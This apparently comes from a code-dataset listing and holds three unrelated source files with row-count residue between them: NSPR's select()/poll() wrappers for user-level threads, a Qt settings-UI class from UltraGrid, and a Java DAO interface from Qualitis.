static int _pr_xt_hack_fd = -1;
int PR_XGetXtHackFD(void)
{
int fds[2];
if (_pr_xt_hack_fd == -1) {
if (!pipe(fds)) {
_pr_xt_hack_fd = fds[0];
}
}
return _pr_xt_hack_fd;
}
static int (*_pr_xt_hack_okayToReleaseXLock)(void) = 0;
void PR_SetXtHackOkayToReleaseXLockFn(int (*fn)(void))
{
_pr_xt_hack_okayToReleaseXLock = fn;
}
/*
*-----------------------------------------------------------------------
* select() --
*
* Wrap up the select system call so that we can deschedule
* a thread that tries to wait for i/o.
*
*-----------------------------------------------------------------------
*/
#if defined(HPUX9)
int select(size_t width, int *rl, int *wl, int *el, const struct timeval *tv)
#elif defined(AIX_RENAME_SELECT)
int wrap_select(unsigned long width, void *rl, void *wl, void *el,
struct timeval *tv)
#elif defined(_PR_SELECT_CONST_TIMEVAL)
int select(int width, fd_set *rd, fd_set *wr, fd_set *ex,
const struct timeval *tv)
#else
int select(int width, fd_set *rd, fd_set *wr, fd_set *ex, struct timeval *tv)
#endif
{
int osfd;
_PRUnixPollDesc *unixpds, *unixpd, *eunixpd;
PRInt32 pdcnt;
PRIntervalTime timeout;
int retVal;
#if defined(HPUX9) || defined(AIX_RENAME_SELECT)
fd_set *rd = (fd_set*) rl;
fd_set *wr = (fd_set*) wl;
fd_set *ex = (fd_set*) el;
#endif
#if 0
/*
* Easy special case: zero timeout. Simply call the native
* select() with no fear of blocking.
*/
if (tv != NULL && tv->tv_sec == 0 && tv->tv_usec == 0) {
#if defined(HPUX9) || defined(AIX_RENAME_SELECT)
return _MD_SELECT(width, rl, wl, el, tv);
#else
return _MD_SELECT(width, rd, wr, ex, tv);
#endif
}
#endif
if (!_pr_initialized) {
_PR_ImplicitInitialization();
}
#ifndef _PR_LOCAL_THREADS_ONLY
if (_PR_IS_NATIVE_THREAD(_PR_MD_CURRENT_THREAD())) {
return _MD_SELECT(width, rd, wr, ex, tv);
}
#endif
if (width < 0 || width > FD_SETSIZE) {
errno = EINVAL;
return -1;
}
/* Compute timeout */
if (tv) {
/*
* These acceptable ranges for t_sec and t_usec are taken
* from the select() man pages.
*/
if (tv->tv_sec < 0 || tv->tv_sec > 100000000
|| tv->tv_usec < 0 || tv->tv_usec >= 1000000) {
errno = EINVAL;
return -1;
}
/* Convert microseconds to ticks */
timeout = PR_MicrosecondsToInterval(1000000*tv->tv_sec + tv->tv_usec);
} else {
/* tv being a NULL pointer means blocking indefinitely */
timeout = PR_INTERVAL_NO_TIMEOUT;
}
/* Check for no descriptors case (just doing a timeout) */
if ((!rd && !wr && !ex) || !width) {
PR_Sleep(timeout);
return 0;
}
/*
* Set up for PR_Poll(). The PRPollDesc array is allocated
* dynamically. If this turns out to have high performance
* penalty, one can change to use a large PRPollDesc array
* on the stack, and allocate dynamically only when it turns
* out to be not large enough.
*
* I allocate an array of size 'width', which is the maximum
* number of fds we may need to poll.
*/
unixpds = (_PRUnixPollDesc *) PR_CALLOC(width * sizeof(_PRUnixPollDesc));
if (!unixpds) {
errno = ENOMEM;
return -1;
}
pdcnt = 0;
unixpd = unixpds;
for (osfd = 0; osfd < width; osfd++) {
int in_flags = 0;
if (rd && FD_ISSET(osfd, rd)) {
in_flags |= _PR_UNIX_POLL_READ;
}
if (wr && FD_ISSET(osfd, wr)) {
in_flags |= _PR_UNIX_POLL_WRITE;
}
if (ex && FD_ISSET(osfd, ex)) {
in_flags |= _PR_UNIX_POLL_EXCEPT;
}
if (in_flags) {
unixpd->osfd = osfd;
unixpd->in_flags = in_flags;
unixpd->out_flags = 0;
unixpd++;
pdcnt++;
}
}
/*
* see comments in mozilla/cmd/xfe/mozilla.c (look for
* "PR_XGetXtHackFD")
*/
{
int needToLockXAgain;
needToLockXAgain = 0;
if (rd && (_pr_xt_hack_fd != -1)
&& FD_ISSET(_pr_xt_hack_fd, rd) && PR_XIsLocked()
&& (!_pr_xt_hack_okayToReleaseXLock
|| _pr_xt_hack_okayToReleaseXLock())) {
PR_XUnlock();
needToLockXAgain = 1;
}
/* This is the potentially blocking step */
retVal = _PR_WaitForMultipleFDs(unixpds, pdcnt, timeout);
if (needToLockXAgain) {
PR_XLock();
}
}
if (retVal > 0) {
/* Compute select results */
if (rd) ZAP_SET(rd, width);
if (wr) ZAP_SET(wr, width);
if (ex) ZAP_SET(ex, width);
/*
* The return value can be either the number of ready file
* descriptors or the number of set bits in the three fd_set's.
*/
retVal = 0; /* we're going to recompute */
eunixpd = unixpds + pdcnt;
for (unixpd = unixpds; unixpd < eunixpd; unixpd++) {
if (unixpd->out_flags) {
int nbits = 0; /* The number of set bits on for this fd */
if (unixpd->out_flags & _PR_UNIX_POLL_NVAL) {
errno = EBADF;
PR_LOG(_pr_io_lm, PR_LOG_ERROR,
("select returns EBADF for %d", unixpd->osfd));
retVal = -1;
break;
}
/*
* If a socket has a pending error, it is considered
* both readable and writable. (See <NAME>,
* Unix Network Programming, Vol. 1, 2nd Ed., Section 6.3,
* pp. 153-154.) We also consider a socket readable if
* it has a hangup condition.
*/
if (rd && (unixpd->in_flags & _PR_UNIX_POLL_READ)
&& (unixpd->out_flags & (_PR_UNIX_POLL_READ
| _PR_UNIX_POLL_ERR | _PR_UNIX_POLL_HUP))) {
FD_SET(unixpd->osfd, rd);
nbits++;
}
if (wr && (unixpd->in_flags & _PR_UNIX_POLL_WRITE)
&& (unixpd->out_flags & (_PR_UNIX_POLL_WRITE
| _PR_UNIX_POLL_ERR))) {
FD_SET(unixpd->osfd, wr);
nbits++;
}
if (ex && (unixpd->in_flags & _PR_UNIX_POLL_WRITE)
&& (unixpd->out_flags & PR_POLL_EXCEPT)) {
FD_SET(unixpd->osfd, ex);
nbits++;
}
PR_ASSERT(nbits > 0);
#if defined(HPUX) || defined(SOLARIS) || defined(OSF1) || defined(AIX)
retVal += nbits;
#else /* IRIX */
retVal += 1;
#endif
}
}
}
PR_ASSERT(tv || retVal != 0);
PR_LOG(_pr_io_lm, PR_LOG_MIN, ("select returns %d", retVal));
PR_DELETE(unixpds);
return retVal;
}
/*
* Redefine poll, when supported on platforms, for local threads
*/
/*
* I am commenting out the poll() wrapper for Linux for now
* because it is difficult to define _MD_POLL that works on all
* Linux varieties. People reported that glibc 2.0.7 on Debian
* 2.0 Linux machines doesn't have the __syscall_poll symbol
* defined. (WTC 30 Nov. 1998)
*/
#if defined(_PR_POLL_AVAILABLE) && !defined(LINUX)
/*
*-----------------------------------------------------------------------
* poll() --
*
* RETURN VALUES:
* -1: fails, errno indicates the error.
* 0: timed out, the revents bitmasks are not set.
* positive value: the number of file descriptors for which poll()
* has set the revents bitmask.
*
*-----------------------------------------------------------------------
*/
#include <poll.h>
#if defined(AIX_RENAME_SELECT)
int wrap_poll(void *listptr, unsigned long nfds, long timeout)
#elif (defined(AIX) && !defined(AIX_RENAME_SELECT))
int poll(void *listptr, unsigned long nfds, long timeout)
#elif defined(OSF1) || (defined(HPUX) && !defined(HPUX9))
int poll(struct pollfd filedes[], unsigned int nfds, int timeout)
#elif defined(HPUX9)
int poll(struct pollfd filedes[], int nfds, int timeout)
#elif defined(NETBSD)
int poll(struct pollfd *filedes, nfds_t nfds, int timeout)
#elif defined(OPENBSD)
int poll(struct pollfd filedes[], nfds_t nfds, int timeout)
#elif defined(FREEBSD)
int poll(struct pollfd *filedes, unsigned nfds, int timeout)
#else
int poll(struct pollfd *filedes, unsigned long nfds, int timeout)
#endif
{
#ifdef AIX
struct pollfd *filedes = (struct pollfd *) listptr;
#endif
struct pollfd *pfd, *epfd;
_PRUnixPollDesc *unixpds, *unixpd, *eunixpd;
PRIntervalTime ticks;
PRInt32 pdcnt;
int ready;
/*
* Easy special case: zero timeout. Simply call the native
* poll() with no fear of blocking.
*/
if (timeout == 0) {
#if defined(AIX)
return _MD_POLL(listptr, nfds, timeout);
#else
return _MD_POLL(filedes, nfds, timeout);
#endif
}
if (!_pr_initialized) {
_PR_ImplicitInitialization();
}
#ifndef _PR_LOCAL_THREADS_ONLY
if (_PR_IS_NATIVE_THREAD(_PR_MD_CURRENT_THREAD())) {
return _MD_POLL(filedes, nfds, timeout);
}
#endif
/* We do not support the pollmsg structures on AIX */
#ifdef AIX
PR_ASSERT((nfds & 0xff00) == 0);
#endif
if (timeout < 0 && timeout != -1) {
errno = EINVAL;
return -1;
}
/* Convert timeout from miliseconds to ticks */
if (timeout == -1) {
ticks = PR_INTERVAL_NO_TIMEOUT;
} else {
ticks = PR_MillisecondsToInterval(timeout);
}
/* Check for no descriptor case (just do a timeout) */
if (nfds == 0) {
PR_Sleep(ticks);
return 0;
}
unixpds = (_PRUnixPollDesc *)
PR_MALLOC(nfds * sizeof(_PRUnixPollDesc));
if (NULL == unixpds) {
errno = EAGAIN;
return -1;
}
pdcnt = 0;
epfd = filedes + nfds;
unixpd = unixpds;
for (pfd = filedes; pfd < epfd; pfd++) {
/*
* poll() ignores negative fd's.
*/
if (pfd->fd >= 0) {
unixpd->osfd = pfd->fd;
#ifdef _PR_USE_POLL
unixpd->in_flags = pfd->events;
#else
/*
* Map the poll events to one of the three that can be
* represented by the select fd_sets:
* POLLIN, POLLRDNORM ===> readable
* POLLOUT, POLLWRNORM ===> writable
* POLLPRI, POLLRDBAND ===> exception
* POLLNORM, POLLWRBAND (and POLLMSG on some platforms)
* are ignored.
*
* The output events POLLERR and POLLHUP are never turned on.
* POLLNVAL may be turned on.
*/
unixpd->in_flags = 0;
if (pfd->events & (POLLIN
#ifdef POLLRDNORM
| POLLRDNORM
#endif
)) {
unixpd->in_flags |= _PR_UNIX_POLL_READ;
}
if (pfd->events & (POLLOUT
#ifdef POLLWRNORM
| POLLWRNORM
#endif
)) {
unixpd->in_flags |= _PR_UNIX_POLL_WRITE;
}
if (pfd->events & (POLLPRI
#ifdef POLLRDBAND
| POLLRDBAND
#endif
)) {
unixpd->in_flags |= PR_POLL_EXCEPT;
}
#endif /* _PR_USE_POLL */
unixpd->out_flags = 0;
unixpd++;
pdcnt++;
}
}
ready = _PR_WaitForMultipleFDs(unixpds, pdcnt, ticks);
if (-1 == ready) {
if (PR_GetError() == PR_PENDING_INTERRUPT_ERROR) {
errno = EINTR; /* XXX we aren't interrupted by a signal, but... */
} else {
errno = PR_GetOSError();
}
}
if (ready <= 0) {
goto done;
}
/*
* Copy the out_flags from the _PRUnixPollDesc structures to the
* user's pollfd structures and free the allocated memory
*/
unixpd = unixpds;
for (pfd = filedes; pfd < epfd; pfd++) {
pfd->revents = 0;
if (pfd->fd >= 0) {
#ifdef _PR_USE_POLL
pfd->revents = unixpd->out_flags;
#else
if (0 != unixpd->out_flags) {
if (unixpd->out_flags & _PR_UNIX_POLL_READ) {
if (pfd->events & POLLIN) {
pfd->revents |= POLLIN;
}
#ifdef POLLRDNORM
if (pfd->events & POLLRDNORM) {
pfd->revents |= POLLRDNORM;
}
#endif
}
if (unixpd->out_flags & _PR_UNIX_POLL_WRITE) {
if (pfd->events & POLLOUT) {
pfd->revents |= POLLOUT;
}
#ifdef POLLWRNORM
if (pfd->events & POLLWRNORM) {
pfd->revents |= POLLWRNORM;
}
#endif
}
if (unixpd->out_flags & _PR_UNIX_POLL_EXCEPT) {
if (pfd->events & POLLPRI) {
pfd->revents |= POLLPRI;
}
#ifdef POLLRDBAND
if (pfd->events & POLLRDBAND) {
pfd->revents |= POLLRDBAND;
}
#endif
}
if (unixpd->out_flags & _PR_UNIX_POLL_ERR) {
pfd->revents |= POLLERR;
}
if (unixpd->out_flags & _PR_UNIX_POLL_NVAL) {
pfd->revents |= POLLNVAL;
}
if (unixpd->out_flags & _PR_UNIX_POLL_HUP) {
pfd->revents |= POLLHUP;
}
}
#endif /* _PR_USE_POLL */
unixpd++;
}
}
done:
PR_DELETE(unixpds);
return ready;
}
#endif /* !defined(LINUX) */
#endif /* defined(_PR_PTHREADS) || defined(_PR_GLOBAL_THREADS_ONLY) */
/* uxwrap.c */
| 7,758 |
370 | #include <stdio.h>
#include <iostream>
#include <QMetaType>
#include <QLabel>
#include <QLineEdit>
#include <QFormLayout>
#include <QCheckBox>
#include <functional>
#include "settings_ui.hpp"
#include "video_opts.hpp"
void SettingsUi::init(Settings *settings, AvailableSettings *availableSettings){
this->settings = settings;
this->availableSettings = availableSettings;
}
void SettingsUi::addControl(WidgetUi *widget){
uiControls.emplace_back(widget);
connect(widget, &WidgetUi::changed, this, &SettingsUi::changed);
}
void SettingsUi::initMainWin(Ui::UltragridWindow *ui){
mainWin = ui;
refreshAll();
addCallbacks();
#ifdef DEBUG
connect(mainWin->actionTest, SIGNAL(triggered()), this, SLOT(test()));
#endif
addControl(new CheckboxUi(ui->fECCheckBox, settings, "network.fec.enabled"));
addControl(new CheckboxUi(ui->previewCheckBox, settings, "preview"));
addControl(
new LineEditUi(ui->networkDestinationEdit, settings, "network.destination")
);
addControl(new ActionCheckableUi(ui->actionVuMeter, settings, "vuMeter"));
addControl(new ActionCheckableUi(ui->actionUse_hw_acceleration,
settings,
"decode.hwaccel"));
addControl(
new ComboBoxUi(ui->videoSourceComboBox,
settings,
"video.source",
std::bind(getVideoSrc, availableSettings))
);
LineEditUi *videoBitrate = new LineEditUi(ui->videoBitrateEdit,
settings,
"");
addControl(videoBitrate);
std::unique_ptr<VideoBitrateCallbackData> vidBitrateCallData(new VideoBitrateCallbackData());
vidBitrateCallData->availSettings = availableSettings;
vidBitrateCallData->lineEditUi = videoBitrate;
vidBitrateCallData->label = mainWin->videoBitrateLabel;
auto extraPtr = vidBitrateCallData.get();
videoBitrate->registerCustomCallback("video.compress",
Option::Callback(videoCompressBitrateCallback, extraPtr),
std::move(vidBitrateCallData));
addControl(
new ComboBoxUi(ui->videoCompressionComboBox,
settings,
"video.compress",
std::bind(getVideoCompress, availableSettings))
);
addControl(
new ComboBoxUi(ui->videoDisplayComboBox,
settings,
"video.display",
std::bind(getVideoDisplay, availableSettings))
);
ComboBoxUi *videoModeCombo = new ComboBoxUi(ui->videoModeComboBox,
settings,
"",
std::bind(getVideoModes, availableSettings));
videoModeCombo->registerCallback("video.source");
addControl(videoModeCombo);
addControl(
new ComboBoxUi(ui->audioCompressionComboBox,
settings,
"audio.compress",
std::bind(getAudioCompress, availableSettings))
);
ComboBoxUi *audioSrc = new ComboBoxUi(ui->audioSourceComboBox,
settings,
"audio.source",
std::bind(getAudioSrc, availableSettings));
audioSrc->registerCallback("video.source");
addControl(audioSrc);
ComboBoxUi *audioPlayback = new ComboBoxUi(ui->audioPlaybackComboBox,
settings,
"audio.playback",
std::bind(getAudioPlayback, availableSettings));
audioPlayback->registerCallback("video.display");
addControl(audioPlayback);
addControl(new LineEditUi(ui->audioBitrateEdit,
settings,
"audio.compress.bitrate"));
addControl(new SpinBoxUi(ui->audioChannelsSpinBox,
settings,
"audio.source.channels"));
addControl(new LineEditUi(ui->portLineEdit, settings, "network.port"));
}
void SettingsUi::refreshAll(){
for(auto &i : uiControls){
i->refresh();
}
}
void SettingsUi::refreshAllCallback(Option&, bool, void *opaque){
static_cast<SettingsUi *>(opaque)->refreshAll();
}
void vuMeterCallback(Option &opt, bool /*suboption*/, void *opaque){
static_cast<Ui::UltragridWindow *>(opaque)->vuMeter->setVisible(opt.isEnabled());
}
void SettingsUi::addCallbacks(){
settings->getOption("audio.compress").addOnChangeCallback(
Option::Callback(&audioCompressionCallback, mainWin));
settings->getOption("advanced").addOnChangeCallback(
Option::Callback(&SettingsUi::refreshAllCallback, this));
settings->getOption("vuMeter").addOnChangeCallback(
Option::Callback(&vuMeterCallback, mainWin));
}
void SettingsUi::test(){
printf("%s\n", settings->getLaunchParams().c_str());
}
void SettingsUi::initSettingsWin(Ui::Settings *ui){
settingsWin = ui;
addControl(new LineEditUi(ui->basePort, settings, "network.port"));
addControl(new LineEditUi(ui->controlPort, settings, "network.control_port"));
addControl(new CheckboxUi(ui->fecAutoCheck, settings, "network.fec.auto"));
addControl(new GroupBoxUi(ui->fecGroupBox, settings, "network.fec.enabled"));
addControl(new SpinBoxUi(ui->multSpin, settings, "network.fec.mult.factor"));
addControl(new SpinBoxUi(ui->ldgmK, settings, "network.fec.ldgm.k"));
addControl(new SpinBoxUi(ui->ldgmM, settings, "network.fec.ldgm.m"));
addControl(new SpinBoxUi(ui->ldgmC, settings, "network.fec.ldgm.c"));
addControl(new SpinBoxUi(ui->rsK, settings, "network.fec.rs.k"));
addControl(new SpinBoxUi(ui->rsN, settings, "network.fec.rs.n"));
addControl(new RadioButtonUi(ui->fecNoneRadio, "", settings, "network.fec.type"));
addControl(new RadioButtonUi(ui->fecMultRadio, "mult", settings, "network.fec.type"));
addControl(new RadioButtonUi(ui->fecLdgmRadio, "ldgm", settings, "network.fec.type"));
addControl(new RadioButtonUi(ui->fecRsRadio, "rs", settings, "network.fec.type"));
addControl(new CheckboxUi(ui->glCursor, settings, "video.display.gl.cursor"));
addControl(new CheckboxUi(ui->glDeinterlace, settings, "video.display.gl.deinterlace"));
addControl(new CheckboxUi(ui->glFullscreen, settings, "video.display.gl.fullscreen"));
addControl(new CheckboxUi(ui->glNoDecorate, settings, "video.display.gl.nodecorate"));
addControl(new CheckboxUi(ui->glNoVsync, settings, "video.display.gl.novsync"));
addControl(new CheckboxUi(ui->sdlDeinterlace, settings, "video.display.sdl.deinterlace"));
addControl(new CheckboxUi(ui->sdlFullscreen, settings, "video.display.sdl.fullscreen"));
addControl(new RadioButtonUi(ui->ldgmSimpCpuRadio, "CPU", settings, "network.fec.ldgm.device"));
addControl(new RadioButtonUi(ui->ldgmSimpGpuRadio, "GPU", settings, "network.fec.ldgm.device"));
addControl(new RadioButtonUi(ui->ldgmCpuRadio, "CPU", settings, "network.fec.ldgm.device"));
addControl(new RadioButtonUi(ui->ldgmGpuRadio, "GPU", settings, "network.fec.ldgm.device"));
addControl(new CheckboxUi(ui->decodeAccelCheck, settings, "decode.hwaccel"));
addControl(new CheckboxUi(ui->errorsFatalBox, settings, "errors_fatal"));
addControl(new LineEditUi(ui->encryptionLineEdit, settings, "encryption"));
addControl(new CheckboxUi(ui->advModeCheck, settings, "advanced"));
buildSettingsCodecList();
connect(settingsWin->codecList, &QListWidget::currentItemChanged,
this, &SettingsUi::settingsCodecSelected);
}
void SettingsUi::buildSettingsCodecList(){
QListWidget *list = settingsWin->codecList;
list->clear();
auto codecs = getVideoCompress(availableSettings);
for(const auto& codec : codecs){
QListWidgetItem *item = new QListWidgetItem(list);
item->setText(QString::fromStdString(codec.name));
item->setData(Qt::UserRole, QVariant::fromValue(codec));
list->addItem(item);
}
}
void SettingsUi::settingsCodecSelected(QListWidgetItem *curr, QListWidgetItem *){
const SettingItem &settingItem = curr->data(Qt::UserRole).value<SettingItem>();
auto modIt = std::find_if(settingItem.opts.begin(), settingItem.opts.end(),
[](const SettingValue& si){ return si.opt == "video.compress"; });
if(modIt == settingItem.opts.end())
return;
const std::string& modName = modIt->val;
auto codecIt = std::find_if(settingItem.opts.begin(), settingItem.opts.end(),
[modName](const SettingValue& si){
return si.opt == "video.compress." + modName + ".codec"; });
if(codecIt == settingItem.opts.end())
return;
buildCodecOptControls(modName, codecIt->val);
}
void SettingsUi::buildCodecOptControls(const std::string& mod, const std::string& codec){
codecControls.clear();
QWidget *container = new QWidget();
QFormLayout *formLayout = new QFormLayout(container);
QComboBox *encoderCombo = new QComboBox();
formLayout->addRow("Encoder", encoderCombo);
WidgetUi *encoderComboUi = new ComboBoxUi(encoderCombo,
settings,
"video.compress." + mod + ".codec." + codec + ".encoder",
std::bind(getCodecEncoders, availableSettings, mod, codec));
codecControls.emplace_back(encoderComboUi);
connect(encoderComboUi, &WidgetUi::changed, this, &SettingsUi::changed);
for(const auto& compMod : availableSettings->getVideoCompressModules()){
if(compMod.name == mod){
for(const auto& modOpt : compMod.opts){
QLabel *label = new QLabel(QString::fromStdString(modOpt.displayName));
QWidget *field = nullptr;
WidgetUi *widgetUi = nullptr;
std::string optKey = "video.compress." + mod + "." + modOpt.key;
if(modOpt.booleanOpt){
QCheckBox *checkBox = new QCheckBox();
field = checkBox;
widgetUi = new CheckboxUi(checkBox,
settings,
optKey);
} else {
QLineEdit *lineEdit = new QLineEdit();
field = lineEdit;
widgetUi = new LineEditUi(lineEdit,
settings,
optKey);
}
label->setToolTip(QString::fromStdString(modOpt.displayDesc));
field->setToolTip(QString::fromStdString(modOpt.displayDesc));
formLayout->addRow(label, field);
codecControls.emplace_back(widgetUi);
connect(widgetUi, &WidgetUi::changed, this, &SettingsUi::changed);
}
}
}
container->setLayout(formLayout);
delete settingsWin->scrollContents;
settingsWin->scrollContents = container;
settingsWin->codecOptScroll->setWidget(container);
}
| 3,531 |
451 | /*
* Copyright 2019 WeBank
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.webank.wedatasphere.qualitis.rule.dao;
import com.webank.wedatasphere.qualitis.rule.entity.Rule;
import com.webank.wedatasphere.qualitis.rule.entity.RuleDataSource;
import java.util.List;
import java.util.Map;
/**
* @author howeye
*/
public interface RuleDataSourceDao {
/**
* Save all rule datasource
* @param ruleDataSources
* @return
*/
List<RuleDataSource> saveAllRuleDataSource(List<RuleDataSource> ruleDataSources);
/**
* Find rule datasource by rule
* @param rule
* @return
*/
List<RuleDataSource> findByRule(Rule rule);
/**
* Find rule datasource by project id
* @param projectId
* @return
*/
List<RuleDataSource> findByProjectId(Long projectId);
/**
* Find rule datasoruce by project id and datasource(cluster, db, table)
* @param projectId
* @param cluster
* @param db
* @param table
* @return
*/
List<RuleDataSource> findByProjectUser(Long projectId, String cluster, String db, String table);
/**
* Find project datasource by user
* @param user
* @return
*/
List<Map<String, String>> findProjectDsByUser(String user);
/**
* Paging query rule datasource
* @param user
* @param page
* @param size
* @return
*/
List<Map<String, String>> findProjectDsByUser(String user, int page, int size);
/**
* Find rules related with cluster name, database name ,table name, column name.
* @param clusterName
* @param dbName
* @param tableName
* @param colName
* @param user
* @return
*/
List<Rule> findRuleByDataSource(String clusterName, String dbName, String tableName, String colName, String user);
/**
* Filter rule datasource
* @param user
* @param clusterName
* @param dbName
* @param tableName
* @return
*/
List<Map<String, String>> filterProjectDsByUser(String user, String clusterName, String dbName, String tableName);
/**
* Filter rule datasource pageable.
* @param user
* @param clusterName
* @param dbName
* @param tableName
* @param page
* @param size
* @return
*/
List<Map<String, String>> filterProjectDsByUserPage(String user, String clusterName, String dbName, String tableName, int page, int size);
}
| 1,047 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.